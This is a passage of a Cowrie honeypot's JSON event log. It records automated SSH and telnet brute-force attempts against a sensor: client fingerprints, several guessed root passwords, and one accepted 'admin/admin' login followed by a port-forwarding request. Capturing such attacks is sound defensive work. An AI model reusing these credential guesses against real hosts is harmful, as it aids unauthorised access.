{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:33:09.547915Z","src_ip":"77.94.47.83","session":"39af56fbb4ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:33:09.654072Z","src_ip":"77.94.47.83","session":"39af56fbb4ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazxc","message":"login attempt [root/qazxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:33:09.978219Z","src_ip":"77.94.47.83","session":"39af56fbb4ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:33:10.675296Z","src_ip":"112.216.108.62","session":"0cfff2926a78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:33:11.087696Z","src_ip":"77.94.47.83","session":"39af56fbb4ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":45136,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a2507f743fb","protocol":"ssh","message":"New connection: 117.121.214.50:45136 (10.17.0.5:22) [session: 9a2507f743fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:33:25.114452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:33:25.118156Z","src_ip":"117.121.214.50","session":"9a2507f743fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:33:25.360591Z","src_ip":"117.121.214.50","session":"9a2507f743fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@12345","message":"login attempt [root/Welcome@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:33:26.367842Z","src_ip":"117.121.214.50","session":"9a2507f743fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:33:27.613753Z","src_ip":"117.121.214.50","session":"9a2507f743fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":49702,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1c75033fe09","protocol":"ssh","message":"New connection: 103.172.78.219:49702 (10.17.0.5:22) [session: c1c75033fe09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:33:31.837153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:33:31.841677Z","src_ip":"103.172.78.219","session":"c1c75033fe09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:33:32.089022Z","src_ip":"103.172.78.219","session":"c1c75033fe09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ruslan1995","message":"login attempt [root/ruslan1995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:33:32.837644Z","src_ip":"103.172.78.219","session":"c1c75033fe09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.124.255","src_port":51074,"dst_ip":"159.203.135.109","dst_port":23,"session":"a44ac215084b","protocol":"telnet","message":"New connection: 166.62.124.255:51074 (159.203.135.109:23) [session: a44ac215084b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:33:33.864310Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:33:34.087614Z","src_ip":"103.172.78.219","session":"c1c75033fe09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":62126,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2dace0de850","protocol":"ssh","message":"New connection: 87.251.64.176:62126 (10.17.0.5:22) [session: a2dace0de850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:33:40.730995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:33:40.734916Z","src_ip":"87.251.64.176","session":"a2dace0de850","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:33:40.828557Z","src_ip":"87.251.64.176","session":"a2dace0de850","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:33:41.115742Z","src_ip":"87.251.64.176","session":"a2dace0de850","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:33:41.212472Z","session":"a2dace0de850","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:33:41.308376Z","src_ip":"87.251.64.176","session":"a2dace0de850","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:33:41.413373Z","src_ip":"87.251.64.176","session":"a2dace0de850","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52100,"dst_ip":"159.203.135.109","dst_port":23,"session":"f248007580b9","protocol":"telnet","message":"New connection: 128.199.8.54:52100 (159.203.135.109:23) [session: f248007580b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:33:51.158413Z"}
{"eventid":"cowrie.session.closed","duration":31.177406311035156,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:34:05.041560Z","src_ip":"166.62.124.255","session":"a44ac215084b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":53418,"dst_ip":"10.17.0.5","dst_port":23,"session":"5040819b1136","protocol":"telnet","message":"New connection: 94.23.66.112:53418 (10.17.0.5:23) [session: 5040819b1136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:34:17.583223Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":35732,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ca78d7794c5","protocol":"ssh","message":"New connection: 27.71.230.31:35732 (10.17.0.5:22) [session: 2ca78d7794c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:34:29.252855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:34:29.275176Z","src_ip":"27.71.230.31","session":"2ca78d7794c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:34:30.588380Z","src_ip":"27.71.230.31","session":"2ca78d7794c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.30982422828674,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:34:32.468128Z","src_ip":"128.199.8.54","session":"f248007580b9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Login123","message":"login attempt [root/Login123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:34:34.351573Z","src_ip":"27.71.230.31","session":"2ca78d7794c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:34:35.681320Z","src_ip":"27.71.230.31","session":"2ca78d7794c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":53276,"dst_ip":"10.17.0.5","dst_port":22,"session":"b728ced78e8f","protocol":"ssh","message":"New connection: 109.237.96.109:53276 (10.17.0.5:22) [session: b728ced78e8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:34:50.969614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:34:50.972976Z","src_ip":"109.237.96.109","session":"b728ced78e8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:34:51.070504Z","src_ip":"109.237.96.109","session":"b728ced78e8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cthueyz","message":"login attempt [root/cthueyz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:34:51.338289Z","src_ip":"109.237.96.109","session":"b728ced78e8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:34:52.431144Z","src_ip":"109.237.96.109","session":"b728ced78e8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.216.108.62","src_port":54010,"dst_ip":"159.203.135.109","dst_port":22,"session":"1595537ea9f2","protocol":"ssh","message":"New connection: 112.216.108.62:54010 (159.203.135.109:22) [session: 1595537ea9f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:35:07.698199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:35:07.702713Z","src_ip":"112.216.108.62","session":"1595537ea9f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:35:07.909464Z","src_ip":"112.216.108.62","session":"1595537ea9f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ANePPMNGE5Ya76uK","message":"login attempt [root/ANePPMNGE5Ya76uK] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:35:08.767078Z","src_ip":"112.216.108.62","session":"1595537ea9f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:35:09.975600Z","src_ip":"112.216.108.62","session":"1595537ea9f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.614116191864014,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:35:15.197228Z","src_ip":"94.23.66.112","session":"5040819b1136","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":48324,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ed4f5550079","protocol":"ssh","message":"New connection: 193.37.70.224:48324 (10.17.0.5:22) [session: 2ed4f5550079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:35:24.218704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:35:24.223096Z","src_ip":"193.37.70.224","session":"2ed4f5550079","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2